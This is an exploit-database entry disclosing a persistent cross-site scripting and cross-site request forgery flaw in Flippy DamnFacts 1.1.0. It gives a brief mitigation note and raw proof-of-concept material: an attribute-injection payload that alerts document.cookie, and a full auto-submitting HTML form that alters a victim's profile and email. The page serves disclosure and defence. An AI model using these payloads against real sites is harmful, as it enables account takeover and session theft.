header-logo
Suggest Exploit
vendor:
Flippy DamnFacts - Viral Fun Facts Sharing Script
by:
borna nematzadeh (L0RD)
8.8
CVSS
HIGH
Persistent Cross Site Scripting / Cross Site Request Forgery
79
CWE
Product Name: Flippy DamnFacts - Viral Fun Facts Sharing Script
Affected Version From: 1.1.0
Affected Version To: 1.1.0
Patch Exists: NO
Related CWE: N/A
CPE: a:codegrape:flippy_damnfacts_viral_fun_facts_sharing_script
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Kali Linux
2018

Flippy DamnFacts – Viral Fun Facts Sharing Script 1.1.0 – Persistent cross site scripting / Cross site request forgery

After creating an account, a user can navigate to 'Edit profile' and put a malicious payload into the 'Birthday' field. This will result in an alert box in the page. Additionally, a Cross Site Request Forgery attack can be performed by submitting a malicious form to the 'submit_profile.php' page.

Mitigation:

Input validation should be used to prevent malicious payloads from being injected into the 'Birthday' field. Additionally, CSRF protection should be implemented to prevent malicious forms from being submitted.
Source

Exploit-DB raw data:

# Exploit Title:  Flippy DamnFacts - Viral Fun Facts Sharing Script 1.1.0 - Persistent cross site scripting / Cross site request forgery
# Date: 2018-05-20
# Dork: N/A
# Exploit Author: borna nematzadeh (L0RD)
# Vendor Homepage: https://www.codegrape.com/item/flippy-damnfacts-viral-fun-facts-sharing-script/3630
# Version: 1.1.0
# Tested on: Kali linux

# POC 1 : Persistent Cross site scripting :
1) After creating an account , navigate to "Edit profile" .
2) Put this payload into the "Birthday" and save changes :
" onmouseover=alert(document.cookie) "
3) You will have an alert box in the page .

# POC 2 : Cross site request forgery :

<html>
<head>
  <title>CSRF POC</title>
</head>
  <body>
    <form action="http://damnfacts.flippydemos.com/submit_profile.php" method="POST">
      <input type="hidden" name="sex" value="Male" />
      <input type="hidden" name="birthday" value="test" />
      <input type="hidden" name="uEmail" value="ninjaassassinbn&#64;yahoo&#46;com" />
      <input type="hidden" name="country" value="United&#32;States" />
      <input type="hidden" name="about" value="test" />
    </form>
    <script>
      document.forms[0].submit();
      // profile will be updated successfully.
    </script>
  </body>
</html>